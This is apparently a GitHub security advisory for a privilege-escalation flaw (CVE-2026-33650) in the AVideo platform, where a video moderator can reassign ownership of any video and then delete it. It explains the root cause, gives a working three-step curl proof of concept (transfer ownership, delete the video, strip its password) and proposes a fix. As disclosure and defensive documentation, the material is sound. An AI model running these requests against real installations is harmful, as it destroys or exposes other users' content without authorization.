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AVideo: Video Moderator Privilege Escalation via Ownership Transfer Enables Arbitrary Video Deletion

High severity GitHub Reviewed Published Mar 22, 2026 in WWBN/AVideo • Updated Mar 25, 2026

Package

composer wwbn/avideo (Composer)

Affected versions

<= 26.0

Patched versions

None

Description

Summary

A user with the "Videos Moderator" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that Permissions::canModerateVideos() is used as an authorization gate for full video editing in videoAddNew.json.php, while videoDelete.json.php only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain.

Details

The PERMISSION_INACTIVATEVIDEOS (ID 11) permission is described as a limited moderator role in plugin/Permissions/Permissions.php:213:

$permissions[] = new PluginPermissionOption(
    Permissions::PERMISSION_INACTIVATEVIDEOS, 
    __('Videos Moderator'), 
    __('This is a level below the (Videos Admin), this type of user can change the video publicity (Active, Inactive, Unlisted)'), 
    'Permissions'
);

However, Permissions::canModerateVideos() (Permissions.php:175) is reused as an authorization gate in multiple locations in videoAddNew.json.php that go far beyond status changes:

1. Upload gate bypass (videoAddNew.json.php:10):
User::canUpload() (user.php:2650) returns true if Permissions::canModerateVideos() is true, granting moderators upload access.

2. Edit gate bypass (videoAddNew.json.php:19):

if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {
    die('{"error":"2 ' . __("Permission denied") . '"}');
}

Video::canEdit() correctly checks only canAdminVideos() and ownership, but the || !Permissions::canModerateVideos() fallback allows moderators to edit any video.

3. Ownership transfer (videoAddNew.json.php:222):

if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || 
    Users_affiliations::isUserAffiliateOrCompanyToEachOther($obj->getUsers_id(), $_POST['users_id'])) {
    $obj->setUsers_id($_POST['users_id']);
}

userCanChangeVideoOwner defaults to false (CustomizeUser.php:286), but canModerateVideos() provides an unconditional bypass, allowing any moderator to reassign ownership of any video.

4. Delete via ownership (videoDelete.json.php:22-28):

if(empty($video->getUsers_id()) || $video->getUsers_id() != User::getId()){
    if (!$video->userCanManageVideo()) {
        // denied
    }
}
$id = $video->delete();

userCanManageVideo() (video.php:3614) checks canAdminVideos() (not canModerateVideos()), then falls back to ownership. After the ownership transfer in step 3, the moderator is now the owner, so this check passes.

The authorization asymmetry: videoAddNew.json.php treats canModerateVideos() as equivalent to canAdminVideos(), but videoDelete.json.php and userCanManageVideo() do not — creating a gap exploitable by transferring ownership first.

Additional fields a moderator can modify beyond their intended scope:

  • only_for_paid (line 210) — make premium content free
  • video_password (line 211) — change/remove password protection
  • categories_id (line 168) — alter content categorization
  • videoGroups (line 175) — modify user group visibility

PoC

Prerequisites: An account with the "Videos Moderator" permission (PERMISSION_INACTIVATEVIDEOS = 11) and a target video ID owned by another user.

Step 1: Transfer ownership of target video to attacker

# ATTACKER_USER_ID = moderator's user ID
# TARGET_VIDEO_ID = ID of video owned by another user (e.g., admin)
curl -s -b cookies.txt -X POST \
  'http://localhost/objects/videoAddNew.json.php' \
  -d "id=TARGET_VIDEO_ID&users_id=ATTACKER_USER_ID&title=unchanged"

Expected response: {"status":true, ...} — ownership is now transferred to the attacker.

Step 2: Delete the video (now owned by attacker)

curl -s -b cookies.txt -X POST \
  'http://localhost/objects/videoDelete.json.php' \
  -d "id[]=TARGET_VIDEO_ID"

Expected response: {"error":false, ...} — video is deleted. The owner check at line 22 passes because the moderator is now the recorded owner.

Step 3 (additional impact): Access password-protected video

curl -s -b cookies.txt -X POST \
  'http://localhost/objects/videoAddNew.json.php' \
  -d "id=TARGET_VIDEO_ID&video_password=&title=unchanged"

This removes the video password, granting the moderator (and everyone) access to previously protected content.

Impact

  • Arbitrary video deletion: A Videos Moderator can delete any video on the platform, including admin-owned content, by first transferring ownership to themselves then deleting.
  • Content tampering: Moderator can change paid content flags (only_for_paid), video passwords, categories, and user group visibility on any video — all exceeding the documented scope of "change video publicity."
  • Access control bypass: Password-protected videos can have their passwords removed, exposing restricted content.
  • Integrity loss: Video ownership records are corrupted, making audit trails unreliable.
  • Availability impact: Targeted deletion of high-value content with no authorization check appropriate to the destructive action.

The blast radius is any video on the platform. Any user granted the "Videos Moderator" role — which administrators may grant freely assuming it only allows status changes — gains effective full video management capabilities.

Recommended Fix

Replace Permissions::canModerateVideos() with Permissions::canAdminVideos() in videoAddNew.json.php where full edit capabilities are granted. Keep canModerateVideos() only for the specific status/publicity change operations it was designed for.

Fix for ownership transfer (videoAddNew.json.php:222):

// Before (vulnerable):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || ...

// After (fixed):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canAdminVideos() || ...

Fix for edit gate (videoAddNew.json.php:19):

// Before (vulnerable):
if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {

// After (fixed): 
if (!Video::canEdit($_POST['id']) && !Permissions::canAdminVideos()) {

Then create a separate, narrower code path for moderators that only allows changing video status/publicity fields. Alternatively, refactor videoAddNew.json.php to check canModerateVideos() only around the specific status-change logic (lines 238-248) and require canAdminVideos() for all other fields.

References

@DanielnetoDotCom DanielnetoDotCom published to WWBN/AVideo Mar 22, 2026
Published by the National Vulnerability Database Mar 23, 2026
Published to the GitHub Advisory Database Mar 25, 2026
Reviewed Mar 25, 2026
Last updated Mar 25, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(8th percentile)

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

CVE ID

CVE-2026-33650

GHSA ID

GHSA-8x77-f38v-4m5j

Source code

Credits

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